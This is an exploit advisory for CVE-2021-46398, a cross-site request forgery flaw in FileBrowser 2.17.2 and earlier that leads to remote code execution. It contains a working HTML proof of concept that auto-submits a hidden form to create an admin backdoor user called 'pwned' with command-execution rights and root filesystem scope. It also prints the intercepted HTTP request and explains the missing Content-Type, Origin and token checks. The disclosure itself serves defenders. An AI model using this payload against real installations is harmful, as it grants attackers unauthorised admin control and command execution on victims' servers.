FileBrowser 2.17.2 Code Execution / Cross Site Request Forgery

Risk: High
Local: No
Remote: Yes
CWE: CWE-352

CVSS Base Score: 6.8/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

# Exploit Title: FileBrowser 2.17.2 - Cross Site Request Forgery (CSRF) to Remote Code Execution (RCE) # Date: 5/2/2022 # Exploit Author: FEBIN MON SAJI # Vendor Homepage: # Software Link: # Version: FileBrowser <= 2.17.2 # Tested on: Ubuntu 20.04 # CVE : CVE-2021-46398 1. Description: A Cross-Site Request Forgery vulnerability exists in Filebrowser < 2.18.0 that allows attackers to create a backdoor user with admin privilege and get access to the filesystem via a malicious HTML webpage that is sent to the victim. An admin can run commands using the FileBrowser and hence it leads to RCE. 2. Proof Of Concept: <html> <script> setTimeout(function() {document.forms["exploit"].submit();}, 3000); </script> <body style="text-align:center;"> <h1> FileBrowser CSRF PoC by Febin </h1> <!-- This create a admin privileged backdoor user named "pwned" with password "pwned" --> <!-- Change the URL in the form action --> <form action="" method="POST" enctype="text/plain" name="exploit"> <!-- Change the "scope" parameter in the payload as your choice --> <input type="hidden" name='{"what":"user","which":[],"data":{"scope":"../../../../root/","locale":"en","viewMode":"mosaic","singleClick":false,"sorting":{"by":"","asc":false},"perm":{"admin":true,"execute":true,"create":true,"rename":true,"modify":true,"delete":true,"share":true,"download":true},"commands":[],"hideDotfiles":false,"username":"pwned","password":"","rules":[{"allow":true,"path":"../","regex":false,"regexp":{"raw":""}}],"lockPassword":false,"id":0,"password":"pwned"}}' value='test'> </form> </body> </html> 3. HTTP request intercept: POST /api/users HTTP/1.1 Host: User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: text/plain Content-Length: 465 Connection: close Cookie: auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjp7ImlkIjoxLCJsb2NhbGUiOiJlbiIsInZpZXdNb2RlIjoibW9zYWljIiwic2luZ2xlQ2xpY2siOmZhbHNlLCJwZXJtIjp7ImFkbWluIjp0cnVlLCJleGVjdXRlIjp0cnVlLCJjcmVhdGUiOnRydWUsInJlbmFtZSI6dHJ1ZSwibW9kaWZ5Ijp0cnVlLCJkZWxldGUiOnRydWUsInNoYXJlIjp0cnVlLCJkb3dubG9hZCI6dHJ1ZX0sImNvbW1hbmRzIjpbXSwibG9ja1Bhc3N3b3JkIjpmYWxzZSwiaGlkZURvdGZpbGVzIjpmYWxzZX0sImV4cCI6MTY0NDA4OTE3MiwiaWF0IjoxNjQ0MDgxOTcyLCJpc3MiOiJGaWxlIEJyb3dzZXIifQ.hdFWg3SIQQ-4P8K48yru-152NGItZPKau6EBL6m8RJE Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: cross-site Sec-GPC: 1 {"what":"user","which":[],"data":{"scope":"../../../../root/","locale":"en","viewMode":"mosaic","singleClick":false,"sorting":{"by":"","asc":false},"perm":{"admin":true,"execute":true,"create":true,"rename":true,"modify":true,"delete":true,"share":true,"download":true},"commands":[],"hideDotfiles":false,"username":"pwned","password":"","rules":[{"allow":true,"path":"../","regex":false,"regexp":{"raw":""}}],"lockPassword":false,"id":0,"password":"pwned"}}=test 4. References: 5. Detailed Description: The Vulnerability - CSRF to RCE FileBrowser is a popular file manager/file managing interface developed in the Go language. Admin can create multiple users, even another Admin privileged user, and give access to any directory he wants, the user creation is handled by an endpoint “/api/users”. The endpoint accepts input in JSON format to create users, but fails to verify that the “Content-Type” HTTP header, the Content-Type header’s value should be “application/json” but it accepts “text/plain” and that’s where the vulnerability arises. Also, the “Origin” is not validated and there are no anti-CSRF tokens implemented either. Hence an attacker can easily exploit this vulnerability to create a backdoor user with admin privileges and access to the home directory or whichever directory the attacker wants to access, just by sending a malicious webpage URL to the legitimate admin and access the whole filesystem of the victim. And an admin can run commands on the system, so this vulnerability leads to an RCE.

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